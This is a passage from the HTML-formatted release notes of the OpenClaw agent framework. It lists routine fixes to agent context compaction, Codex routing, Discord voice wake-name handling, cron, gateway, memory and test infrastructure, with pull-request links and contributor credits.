<p>Agents: derive overflow compaction budgets from provider-reported and synthetic over-budget token counts so confirmed context overflows compact before retrying. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4313476027" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70473" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70473/hovercard" href="https://github.com/openclaw/openclaw/pull/70473">#70473</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Agents/Codex: recover Codex context-window prompt errors through overflow compaction and surface reset guidance when recovery is exhausted. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506087008" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85542" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85542/hovercard" href="https://github.com/openclaw/openclaw/pull/85542">#85542</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Agents/Codex: allow Codex app-server runs to bootstrap from <code>CODEX_API_KEY</code> or <code>OPENAI_API_KEY</code> when no Codex auth profile is configured.</p>
</li>
<li>
<p>Agents/Codex: keep selected Codex runtime routing on OpenAI-Codex while preserving direct OpenAI API-key compaction fallback. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515716562" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86408" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86408/hovercard" href="https://github.com/openclaw/openclaw/pull/86408">#86408</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/funmerlin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/funmerlin">@funmerlin</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VACInc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VACInc">@VACInc</a>.</p>
</li>
<li>
<p>Agent transcript: include OpenClaw agent session logs when finding local transcript candidates.</p>
</li>
<li>
<p>Crabbox: bootstrap raw AWS macOS shell commands wrapped in absolute <code>time</code> paths so RSS probes can run Node and pnpm on fresh macOS runners.</p>
</li>
<li>
<p>Crabbox: bootstrap raw AWS macOS shell commands even when setup statements precede Node or pnpm usage.</p>
</li>
<li>
<p>TUI/local: skip unnecessary secret resolution, gateway model catalog loading, bootstrap, and skill scans in explicit local-model runs so startup reaches the model request faster.</p>
</li>
<li>
<p>Sessions/doctor: load large session stores without clone amplification during read-only doctor checks and reclaim stale <code>sessions.json.*.tmp</code> sidecars. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4162810373" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56827" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56827/hovercard" href="https://github.com/openclaw/openclaw/issues/56827">#56827</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</p>
</li>
<li>
<p>Tests: clean successful plugin gateway gauntlet isolated temp roots while keeping an explicit preservation switch for failed/debug runs.</p>
</li>
<li>
<p>Plugins/perf: reuse derived plugin metadata snapshots for the lifetime of the process so reply-time skill setup no longer rescans plugin metadata on every turn.</p>
</li>
<li>
<p>Discord/OpenAI voice: keep wake-name master consults using the current speaker context after ignored ambient transcripts and shorten the default capture silence grace.</p>
</li>
<li>
<p>Doctor: skip redundant Gateway restart prompts when a recent supervisor restart leaves the Gateway healthy. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517583554" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86518" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86518/hovercard" href="https://github.com/openclaw/openclaw/issues/86518">#86518</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517880193" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86533" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86533/hovercard" href="https://github.com/openclaw/openclaw/pull/86533">#86533</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liaoyl830/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liaoyl830">@liaoyl830</a>.</p>
</li>
<li>
<p>Cron: restore suspended cron lanes to the configured/default concurrency instead of falling back to one after quota or circuit-breaker auto-resume.</p>
</li>
<li>
<p>Gateway: keep session-only Control UI tool-start mirrors flowing during diagnostic queue pressure instead of silently dropping non-terminal tool updates.</p>
</li>
<li>
<p>Agents/memory: return optional not-found context for missing date-only daily memory reads instead of logging benign first-run <code>ENOENT</code> failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462409079" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82928" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82928/hovercard" href="https://github.com/openclaw/openclaw/issues/82928">#82928</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</p>
</li>
<li>
<p>Discord: merge streamed text captions into following media block replies so captions and attachments send as one message. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517016511" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86487" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86487/hovercard" href="https://github.com/openclaw/openclaw/pull/86487">#86487</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>Gateway: avoid sending duplicate tool-event frames to Control UI connections that are subscribed by both run and session.</p>
</li>
<li>
<p>Discord/OpenAI voice: accept broader edge-position fuzzy wake-name transcripts while keeping ambient speech gated.</p>
</li>
<li>
<p>Discord/OpenAI voice: accept longer leading wake-name mistranscripts such as "Open Club" for OpenClaw.</p>
</li>
<li>
<p>Agents/OpenAI-compatible: stop ModelStudio-compatible chat requests before sending system/tool-only payloads that have no usable user or assistant turn. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512668599" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86177" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86177/hovercard" href="https://github.com/openclaw/openclaw/pull/86177">#86177</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</p>
</li>
<li>
<p>Gateway/plugins: reuse plugin package realpath checks while building installed plugin indexes so startup avoids repeated filesystem resolution work.</p>
</li>
<li>
<p>Kilo Gateway: send string <code>stop</code> sequences as arrays so Kilo accepts OpenAI-compatible chat completions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516690908" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86461" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86461/hovercard" href="https://github.com/openclaw/openclaw/pull/86461">#86461</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Discord/OpenAI voice: accept leading fuzzy wake-name transcripts such as "Monty" or "Moti" for a Molty agent while keeping ambient speech gated.</p>
</li>
<li>
<p>Media understanding: convert HEIC and HEIF images to JPEG before image description providers run so iPhone photos work in direct and configured image-description flows. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511517298" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86037" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86037/hovercard" href="https://github.com/openclaw/openclaw/pull/86037">#86037</a>)</p>
</li>
<li>
<p>Agents: release embedded-attempt session locks from outer teardown so post-prompt exceptions cannot wedge later requests behind <code>SessionWriteLockTimeoutError</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511256935" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86014" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86014/hovercard" href="https://github.com/openclaw/openclaw/issues/86014">#86014</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</p>
</li>
<li>
<p>Discord/OpenAI voice: rotate Realtime sessions at provider max duration without logging the expected session-expiry event as an error.</p>
</li>
<li>
<p>Sessions: skip metadata-only entries during QMD-slugified session lookup so one incomplete row does not block transcript hit resolution. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514294799" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86327" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86327/hovercard" href="https://github.com/openclaw/openclaw/pull/86327">#86327</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/abnershang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/abnershang">@abnershang</a>.</p>
</li>
<li>
<p>Agents/media: derive bundled plugin local-media trust from plugin tool metadata instead of importing the full plugin registry on subscription paths. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4482773792" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84409" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84409/hovercard" href="https://github.com/openclaw/openclaw/pull/84409">#84409</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</p>
</li>
<li>
<p>Image tool: keep config-backed custom-provider API keys usable for auto-discovered vision models, including deferred image-tool execution without env keys or auth profiles. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508451345" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85733" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85733/hovercard" href="https://github.com/openclaw/openclaw/pull/85733">#85733</a>)</p>
</li>
<li>
<p>Memory/local embeddings: run local GGUF embeddings in an isolated worker sidecar and degrade to configured fallback or keyword search on worker failure so native embedding crashes do not take down the Gateway. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4502468683" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85348" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85348/hovercard" href="https://github.com/openclaw/openclaw/pull/85348">#85348</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/osolmaz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/osolmaz">@osolmaz</a>.</p>
</li>
<li>
<p>Gateway: clear the runtime config snapshot before <code>SIGUSR1</code> in-process restarts so config changes survive the next gateway loop. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515407785" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86388" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86388/hovercard" href="https://github.com/openclaw/openclaw/pull/86388">#86388</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/XuZehan-iCenter/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/XuZehan-iCenter">@XuZehan-iCenter</a>.</p>
</li>
<li>
<p>Models: show OAuth delegation markers as configured <code>models.json</code> auth while keeping runtime route usability checks strict. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515241861" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86378" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86378/hovercard" href="https://github.com/openclaw/openclaw/pull/86378">#86378</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rohitjavvadi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rohitjavvadi">@rohitjavvadi</a>.</p>
</li>
<li>
<p>Cron: seed active scheduled and manual cron task rows with a progress summary so status surfaces do not look blank while jobs run. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514058569" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86313" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86313/hovercard" href="https://github.com/openclaw/openclaw/pull/86313">#86313</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Cron: preserve unsupported persisted cron payload rows during routine store writes while keeping those rows non-runnable. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4493956816" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84922" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84922/hovercard" href="https://github.com/openclaw/openclaw/issues/84922">#84922</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515779319" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86415" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86415/hovercard" href="https://github.com/openclaw/openclaw/pull/86415">#86415</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>.</p>
</li>
<li>
<p>Updater: exclude prerelease git tags from stable channel resolution so source updates do not check out newer alpha/rc/preview/canary tags. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513592243" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86260" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86260/hovercard" href="https://github.com/openclaw/openclaw/pull/86260">#86260</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stevenepalmer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stevenepalmer">@stevenepalmer</a>.</p>
</li>
<li>
<p>Security/Audit: flag webhook <code>hooks.token</code> reuse of active Gateway password auth in <code>openclaw security audit</code> while keeping password-mode startup compatibility. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4481368290" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84338" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84338/hovercard" href="https://github.com/openclaw/openclaw/pull/84338">#84338</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/coygeek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/coygeek">@coygeek</a>.</p>
</li>
<li>
<p>QQBot: derive the outbound reply watchdog from configured agent and provider timeouts so slow local model replies are not cut off at five minutes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4500714861" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85267" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85267/hovercard" href="https://github.com/openclaw/openclaw/issues/85267">#85267</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4500805571" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85271" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85271/hovercard" href="https://github.com/openclaw/openclaw/pull/85271">#85271</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SymbolStar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SymbolStar">@SymbolStar</a>.</p>
</li>
<li>
<p>Agents/heartbeat: stop heartbeat turns after the first valid <code>heartbeat_respond</code> so repeated response loops do not burn tokens. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514870807" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86357" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86357/hovercard" href="https://github.com/openclaw/openclaw/pull/86357">#86357</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/udaymanish6/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/udaymanish6">@udaymanish6</a>.</p>
</li>
<li>
<p>Tasks: keep retained lost tasks out of default status health counts, explain their cleanup window during maintenance, and prune lost task records after 24 hours instead of the general 7-day terminal retention.</p>
</li>
<li>
<p>Memory-core: keep REM dreaming focused on live light-staged memories and mark staged entries as considered so old recall history no longer dominates fresh candidates. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513935517" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86302" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86302/hovercard" href="https://github.com/openclaw/openclaw/pull/86302">#86302</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Memory: abort sync instead of downgrading an existing semantic vector index to FTS-only when the configured embedding provider is temporarily unavailable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507908481" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85704" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85704/hovercard" href="https://github.com/openclaw/openclaw/pull/85704">#85704</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yaaboo-gif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yaaboo-gif">@yaaboo-gif</a>.</p>
</li>
<li>
<p>Telegram: propagate forum topic names through the account-scoped topic cache for native command context and topic create/edit actions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513918910" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86299" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86299/hovercard" href="https://github.com/openclaw/openclaw/pull/86299">#86299</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Slack: keep downloaded read-only files out of reply media so Slack file reads do not echo files back to the conversation. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514166403" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86318" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86318/hovercard" href="https://github.com/openclaw/openclaw/pull/86318">#86318</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>Cron: accept leading-plus relative durations such as <code>+5m</code> for one-shot <code>--at</code> schedules. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514566090" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86341" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86341/hovercard" href="https://github.com/openclaw/openclaw/pull/86341">#86341</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mushuiyu886/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mushuiyu886">@mushuiyu886</a>.</p>
</li>
<li>
<p>Agents/media: preserve async-started media tool metadata so background generation starts no longer surface generic incomplete-turn warnings while replay stays unsafe. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510559084" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85933" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85933/hovercard" href="https://github.com/openclaw/openclaw/pull/85933">#85933</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Docker E2E: dedupe scheduler lane resources so npm/service package lanes are not over-counted and serialized unnecessarily.</p>
</li>
<li>
<p>QA/diagnostics: add a collector-backed OpenTelemetry smoke lane, make the OTLP payload leak check scenario-aware, and keep source QA builds from failing on optional dependency imports resolved through pnpm's temp module path.</p>
</li>
<li>
<p>Crabbox: bootstrap Git metadata for sparse remote changed gates so raw synced workspaces can run <code>pnpm check:changed</code> from the intended diff.</p>
</li>
<li>
<p>xAI/LM Studio: avoid buffering ordinary bracketed or <code>final</code> prose until stream completion while watching for plain-text tool-call fallbacks.</p>
</li>
<li>
<p>Doctor: warn and continue when the cron job store exists but cannot be read so later health checks still run. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512146374" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86102" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86102/hovercard" href="https://github.com/openclaw/openclaw/issues/86102">#86102</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515361802" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86384" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86384/hovercard" href="https://github.com/openclaw/openclaw/pull/86384">#86384</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/1052326311/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/1052326311">@1052326311</a>.</p>
</li>
<li>
<p>Discord: suppress a bot's previous reply body and referenced media from prompt context when a user replies to that bot message, while keeping reply metadata for routing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513382967" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86238" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86238/hovercard" href="https://github.com/openclaw/openclaw/pull/86238">#86238</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Discord: restore bare numeric channel IDs for outbound message-tool sends while keeping explicit DM targets unambiguous. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518354506" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86571" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86571/hovercard" href="https://github.com/openclaw/openclaw/pull/86571">#86571</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</p>
</li>
<li>
<p>Docker E2E: avoid rebuilding the Control UI twice while preparing the shared OpenClaw package tarball for package-backed scenario runs.</p>
</li>
<li>
<p>Tests: avoid rebuilding the Control UI twice during the installer Docker smoke now that <code>pnpm build</code> includes <code>ui:build</code>.</p>
</li>
<li>
<p>Tests: give QA config mutation RPCs enough native Windows budget to finish gateway config writes and restart settle after hot scenario runs.</p>
</li>
<li>
<p>Tests: keep the gateway restart-inflight QA scenario focused on restart recovery on native Windows by allowing expected embedded prompt handoff errors and using the Windows-safe timeout budget.</p>
</li>
<li>
<p>QA-Lab: make the synthetic OpenAI provider honor generic <code>reply exactly:</code> directives after required kickoff reads so restart-recovery scenarios do not fall through to generic repo-summary prose.</p>
</li>
<li>
<p>Gateway: abort active <code>agent</code> RPC runs during forced restart shutdown so stale in-process turns cannot keep writing a session after the Gateway lifecycle restarts.</p>
</li>
<li>
<p>Crabbox: sync clean sparse worktrees through a temporary full checkout even when reusing an existing lease so tracked build-time files are not omitted.</p>
</li>
<li>
<p>Build: route <code>scripts/ui.js</code> through the shared pnpm runner and keep Control UI chunking helpers in sparse-included source so native Windows Corepack builds can produce <code>dist/control-ui</code>.</p>
</li>
<li>
<p>Tests: give the memory fallback QA scenario enough turn budget to exercise native Windows gateway runs instead of failing on the client timeout while the mock agent is still dispatching.</p>
</li>
<li>
<p>Tests: collect QA gateway CPU/RSS metrics on native Windows and give the channel baseline enough turn budget to report slow gateway runs instead of timing out before proof.</p>
</li>
<li>
<p>Install/update: bypass npm <code>min-release-age</code> policies with <code>--min-release-age=0</code> instead of <code>--before</code> so hosted installers keep working on npm versions that reject the combined config. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4490856882" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84749" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84749/hovercard" href="https://github.com/openclaw/openclaw/pull/84749">#84749</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TeodoroRodrigo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TeodoroRodrigo">@TeodoroRodrigo</a>.</p>
</li>
<li>
<p>Diagnostics: reclaim wedged session lanes when stale active-run bookkeeping blocks queued work despite no forward progress. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506871185" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85639" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85639/hovercard" href="https://github.com/openclaw/openclaw/issues/85639">#85639</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</p>
</li>
<li>
<p>WebChat: keep message-tool replies visible in the chat while still summarizing internal tool results for the model. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514654012" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86347" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86347/hovercard" href="https://github.com/openclaw/openclaw/issues/86347">#86347</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Gateway/perf: fail startup benchmark samples when the Gateway process exits before benchmark teardown, including signal deaths after readiness probes.</p>
</li>
<li>
<p>Gateway/perf: fail restart benchmark samples when the Gateway exits before benchmark teardown, including clean exits and signal deaths after successful restart probes.</p>
</li>
<li>
<p>Agents/tests: keep model catalog visibility on static selection helpers so catalog visibility checks avoid the broad model-selection barrel import.</p>
</li>
<li>
<p>Agents/commitments: serialize commitment store load-modify-save writes so concurrent heartbeat and CLI updates no longer lose dismissal, sent, or attempt state. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4432420395" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81153" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81153/hovercard" href="https://github.com/openclaw/openclaw/pull/81153">#81153</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-hpc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-hpc">@ai-hpc</a>.</p>
</li>
<li>
<p>xAI/LM Studio: promote plain-text tool-call fallbacks into structured tool calls and strip leaked internal tool syntax before user-facing delivery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513214742" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86222" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86222/hovercard" href="https://github.com/openclaw/openclaw/pull/86222">#86222</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>CLI: suppress benign self-update version-skew warnings during package post-update finalization.</p>
</li>
<li>
